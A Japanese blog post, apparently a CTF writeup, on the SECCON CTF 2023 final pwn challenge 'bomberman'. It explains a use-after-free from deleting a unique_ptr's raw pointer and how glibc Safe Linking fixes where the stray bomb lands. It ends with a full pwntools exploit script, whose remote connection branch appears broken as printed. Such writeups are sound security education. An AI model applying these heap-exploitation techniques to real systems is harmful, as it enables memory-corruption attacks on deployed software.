feature image

2023年12月30日 | ブログ記事

SECCON CTF 2023 "bomberman" writeup

こんにちはImperiです

先週開催されたSECCON CTF final の国内決勝にチームtraPとして参加してきました。結果は 6th / 12 team でした

bomberman 問題概要

ざっくりと。作問者のptr-yudaiさんが問題ファイルを公開しているので、詳しい部分はそちらを見てください。

ぼんばー

ncursesを利用したターミナル上で遊べるボンバーマンになってます

コード上の特徴としては、爆弾の管理にstd::unique_ptrを使っていて
プレイヤー&盤面上に一つだけ爆弾が存在する状況を実装しています。

盤面右下にFlagのマスがありますが周囲が壁で囲まれているので通常は到達できません。

脆弱性

unique_ptr

まず全体的にunique_ptr::get()というunique_ptrが管理するリソースへのポインタを返す関数を使いまくっているのでめちゃくちゃ怪しいです。案の定


    /* Remove bomb instance and create fire */
    if (has_bomb() && _bomb.get()->timer()++ == 2 SEC) {
      _fire = new Fire(_bomb.get()->x(), _bomb.get()->y());
      delete _bomb.get();
    }

getしたポインタに対してdeleteしています。これをすると、unique_ptrとしてはリソース確保中なのにメモリ管理としてはfree済みになるのでuse-after-freeに繋がります。

一応 -fsanitize=address をつけてコンパイルして遊んでみると
爆弾が爆発するだけでsanitizerにuse-after-freeだろ!と怒られます

use-after-freeは結構すぐに見つかりましたが意外とこれを使えるルートが見つかりません

burn

このコード内では爆炎の描画と爆炎によるダメージ処理(burn)が別になっています
遊んでいるときは時間差で十字形に爆炎がひろがるように見えますが


    /* Draw stage */
    for (i16 y = 0; y < _height; y++) {
      for (i16 x = 0; x < _width; x++) {
        switch (at(x, y)) {
          case OBJECT_WALL : mvaddch(y, x, '#'); break;
          case OBJECT_BLOCK: mvaddch(y, x, '@'); break;
          case OBJECT_BOMB : mvaddch(y, x, is_exploding() ? '*' : 'B'); break;
          case OBJECT_FLAG : mvaddch(y, x, 'F'); break;
          default          : mvaddch(y, x, ' ');
        }
      }
    }

    /* Draw player */
    mvaddch(_player->y(), _player->x(), 'P');

    /* Draw fire */
    if (_fire) {
      i16 x = _fire->x(), y = _fire->y();
      if (_fire->timer() < 0.5 SEC) {
        if (burn(x, y)) mvaddch(y, x, '*');
      } else if (_fire->timer() < 1 SEC) {
        if (burn(x, y-1)) mvaddch(y-1, x, '*');
        if (burn(x, y+1)) mvaddch(y+1, x, '*');
        if (burn(x-1, y)) mvaddch(y, x-1, '*');
        if (burn(x+1, y)) mvaddch(y, x+1, '*');
      }
    }

実際には十字形に爆炎が広がったとき中心にはダメージ処理が発生しません。
爆発中でも爆弾は拾うことが出来るっぽいので最初のuse-after-freeと合わせるとあれこれ出来そうです。

exploit

爆発が終わると盤面上のbombについてはunique_ptr::release()が呼ばれ、プレイヤー側には新しく確保したbombが渡されるので、内部free済みのunique_ptrを活かすためには

という過程が必要そうです。
実際にこの通り動かすとなぜか盤面の外枠の一マス(5,0)が爆発してなくなります。

外枠爆発

壁を一つ消せたので、他の壁を壊せないかいろいろ実験してみますが
どの位置から上記の流れを行っても壊れる壁は(5,0)だけです。

デバッグしてみると glibc 2.32からtcacheのリンクに導入されたSafe Linkingが綺麗に作用していました。

Safe Linkingとは雑にまとめるとリンクする2つのアドレスを3byteずらしてxorをとりchunkに持たせるというmitigationです。
Safe Linkingによって

chunk->next = (NULL) xor (0x0000_55**_****_**** >> 12)
            = 0x0000_0005_****_****

先頭4byteが0x00000005で固定になりました。これはBomb構造体でいうと座標(y,x)なので
どの状況でも(5,0)に爆弾が設置されることになります。

flag

上記の流れだとflagを囲う壁が壊せないと分かり残念な気持ちになりましたが、移動や盤面のオブジェクトの参照に対して範囲チェックが行われていないので壊れた壁から外に出て自由に移動できます。

最終的な自分のexploitでは外に出てランダムウォークをしてOBJECT_FLAG、すなわち0x03を踏みに行きます。爆弾を設置しない限りゲームオーバーになることもないのでランダムウォークで十分高速にOBJECT_FLAGを踏んでクリアできます。

#!/usr/bin/env python3

from pwn import *
import time
import random

exe = ELF("./game")

context.binary = exe

context.terminal = ['/usr/local/bin/run_urxvt','-e']


def conn():
    if args.LOCAL:
        r = process([exe.path])
        gdb.attach(r,'''
        b *main+306
        c
                ''')
        # To wait for gdb.attach, wait 2 seconds
        time.sleep(2)
        
    else:
        server = ssh(user='ctf',host='bomberman.dom.seccon.games',port=22022,password='password',raw=True)

    return r

def draw_board(io):
    check = io.recv(1)
    if check == b'.':
        io.send(b'\n')
        print(io.recvall())
        exit(0)

    print('   --------------------------   ')
    buf = io.recvuntil(b'\x1b[2J')[:-13]
    print(re.sub(b'\x0d\x1b\[\d+d',b'\n',b'#'+buf).decode())

move_up = b'\x1b[A'
move_down = b'\x1b[B'
move_right = b'\x1b[C'
move_left = b'\x1b[D'
put_bomb = b' '

move_key = [move_up,move_down,move_right,move_left]

def main():
    r = conn()

    # start init screen buf
    r.recvuntil(b'\x1b[2J')
    r.recvuntil(b'\x1b[2J')
    #end init screen buf

    for i in range(10):
        r.send(move_left)
        draw_board(r)

    PICKUP_WAIT_TURN = 24
    free_pickup_payload = put_bomb +move_right + move_up*PICKUP_WAIT_TURN + move_left+put_bomb
    REUSE_WAIT_TURN = 5
    reuse_payload = put_bomb +move_up*REUSE_WAIT_TURN+ move_right*2

    log.info("put bomb")
    r.send(free_pickup_payload + reuse_payload)

    for i in range(10):
        r.send(move_up)
        draw_board(r)

    move_outside_payload = move_right*2 + move_up*2
    r.send(move_outside_payload)
    
    for i in range(20):
        draw_board(r)

    log.info("start inf move")

    while True:
        choice = random.randint(0,3)
        r.send(move_key[choice])
        draw_board(r)

    #r.interactive()


if __name__ == "__main__":
    main()

ゲームクリア画面をうまく表示してないので見づらいですが よく見ると"CONGRATZ!"と表示されています。

flagゲット

おわりに

Safe Linkingで常に(5,0)の壁が壊れるのが綺麗で、これに気づいたとき泊まってたホテルで大笑いしちゃいました。今回のSECCON finalではこの問題くらいしか解けてないのでpwn力上げたいですね...というかpwnサボりすぎているのでもうちょっと頑張ります。

Imperi icon
この記事を書いた人
Imperi

この記事をシェア

このエントリーをはてなブックマークに追加
共有

関連する記事

2022年8月28日
Cコンパイラ作成で出会ったgdbあれこれ
Imperi icon Imperi
CPCTF22 作問者writeup by Imperi feature image
2022年5月4日
CPCTF22 作問者writeup by Imperi
Imperi icon Imperi
2020年5月11日
matplotlib-cppでC++からグラフを表示する
Imperi icon Imperi
2019年7月3日
ハッカソン参加記「Warning」
Imperi icon Imperi
記事一覧 タグ一覧 Google アナリティクスについて